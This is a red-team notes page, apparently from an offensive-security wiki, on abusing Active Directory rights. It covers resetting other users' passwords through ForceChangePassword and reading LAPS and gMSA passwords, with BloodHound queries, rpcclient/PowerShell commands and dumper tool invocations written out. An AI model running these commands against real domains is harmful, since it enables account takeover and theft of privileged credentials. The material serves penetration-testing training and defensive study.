Password Abuse

When talking about "password abuse" we focus on ACLs like ForceChangePassword, ReadLAPSPassword, and ReadGMSAPassword.

ForceChangePassword

User-Force-Change-Password is an extended access right that allows users to reset the passwords of other accounts, even those with higher privileges.

If we control an account that can modify another user's password, we can effectively take over that user's account by changing the password; this is only possible if the controlled account has certain access rights, such as GenericAll, AllExtendedRights, or User-Force-Change-Password, over the target account. The following is the BloodHound query to find these

MATCH p=((n:User {name:"otter@DOMAIN.COM"})-[r:ForceChangePassword|GenericAll|AllExtendedRights]->(m)) RETURN p

but we can also use all the methods discussed in DACLs Enumeration.

To reset a user's password we use

net rpc password anotherUser 'SomethingSecure123!' -U domain.com/otter%'SomethingSecure123!' -S 10.10.10.10
rpcclient -U DOMAIN/otter%'SomethingSecure123!' 10.10.10.10

setuserinfo2 anotherUser 23 SomethingSecure123! 

or from windows

Set-DomainUserPassword -Identity anotherUser -AccountPassword $((ConvertTo-SecureString 'SomethingSecure123!' -AsPlainText -Force)) -Verbose
# or
Import-Module ActiveDirectory
Set-ADAccountPassword anotherUser -NewPassword $((ConvertTo-SecureString 'SomethingSecure123!' -AsPlainText -Force)) -Reset -Verbose

ReadLAPSPassword

LAPS allows managing the local Administrator password (randomized, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorized users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES. Here is how it works:

  • a LAPS client is installed on each computer. This client is responsible for periodically changing the local administrator password on the computer.

  • the password is stored in Active Directory as an attribute of the computer object. This attribute is named ms-MCS-AdmPwd.

  • to access the local administrator password for a computer, we can use the LAPS UI tool or PowerShell to retrieve the current password from Active Directory.

  • the password is only visible to users granted permission to read it.

This is the cypher query to identify the ReadLapsPassword edge in BH - but (at the time of writing) - this only works for LAPS (not LAPS2)

MATCH p=((n)-[r:ReadLAPSPassword]->(m)) RETURN p

To read the LAPS password for a local machine we can use

Import-Module .\PowerView.ps1
Get-DomainObject -Identity HOSTNAME -Properties "ms-mcs-AdmPwd",name

# enumerate all the computers with LAPS enabled
Get-DomainComputer -Properties name | ForEach-Object {
    $computer = $_.name
    $obj = Get-DomainObject -Identity $computer -Properties "ms-mcs-AdmPwd",name -ErrorAction SilentlyContinue
    if($obj.'ms-mcs-AdmPwd'){
        Write-Output "$computer`: $($obj.'ms-mcs-AdmPwd')"
    }
}
# this is usually better as a living-off-the-land solution as it uses the ActiveDirectory module, not powerview
Import-Module ActiveDirectory
Get-ADComputer -Identity HOSTNAME -Properties "ms-mcs-AdmPwd",name

From linux we can use LAPSDumper

python3 laps.py -u otter -p 'SomethingSecure123!' -l 10.10.10.10 -d domain.com

ReadGMSAPassword

Group Managed Service Accounts or gMSAs are a feature in Microsoft Active Directory that provides a secure and automated mechanism for managing service accounts used by applications and services running on Windows servers. Unlike regular service accounts, gMSAs have built-in password management and simplified key distribution, eliminating the need to manage and update passwords manually.

When a gMSA is created, it is associated with a specific Active Directory group, allowing multiple servers or applications to share the same gMSA for authentication. This association simplifies the administration and maintenance of service accounts across multiple systems. A gMSA leverages a secure key distribution process, where the password is automatically generated, securely stored, and periodically rotated by the Active Directory domain controller. This eliminates the risk of the password being compromised or forgotten, reducing the attack surface and enhancing security. By utilizing gMSAs, the associated principals (such as machine accounts, servers, or applications) are granted specific access rights through the use of a dedicated DACLs stored in the msDS-GroupMSAMembership attribute of the service account. These access rights can be tailored to meet the specific requirements of each principal, granting them access to the necessary resources and reducing the need for manual permission management.

If we get access to a principal (such as machine accounts, servers, or applications) that have access rights to use a gMSA, we can abuse it to obtain the group-managed service account password.

This is the BH query we can use

MATCH p=((n)-[r:ReadGMSAPassword]->(m)) RETURN p

To abuse this from linux we can use gMSADumper

python3 gMSADumper.py -d domain.com -l 10.10.10.10 -u otter -p 'SomethingSecure123!'

and GMSAPasswordReader from windows

GMSAPasswordReader.exe --accountname gmsa-name

Last updated